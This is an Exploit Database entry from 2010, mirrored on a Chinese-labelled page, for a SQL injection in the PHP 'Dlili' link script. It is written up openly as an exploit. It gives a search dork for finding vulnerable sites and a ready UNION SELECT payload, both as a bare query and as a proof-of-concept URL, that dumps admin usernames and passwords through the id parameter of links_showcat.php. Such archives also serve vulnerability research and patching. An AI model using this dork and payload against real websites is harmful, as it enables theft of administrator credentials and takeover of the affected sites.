Dlili Script – SQL Injection

• Exploit Database
• 10 阅读

• 作者： Dr.DaShEr
  日期： 2010-02-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11318/

• ==============================================================================
  Remote SQL Injection Vulnerability
  ==============================================================================
  [+] Published: [2010-02-02]
  [+] Script:[ dlili ]
  [+] Script site: [ http://www.dlili.com ]
  [+] Author:{Dr.DaShEr> Nyo@hotmail.com < ]
  [+] Gr44tz to: [NeX HackEr & XP10_hacker]
  ########################################################################
  
  
   [+] Dork: inurl:"links_showcat.php?"
  
  
   =[ Exploit ]=
  
   [+] links_showcat.php?id=2 and 1=0 UNION SELECT 1,concat(username,0x3a,password),3,4 from admin
  
  
   [-] SQLi p0c:
  
   [+] http://server[path]/links_showcat.php?id=2 and 1=0 UNION SELECT 1,concat(username,0x3a,password),3,4 from admin
  
  
  ###########################################################################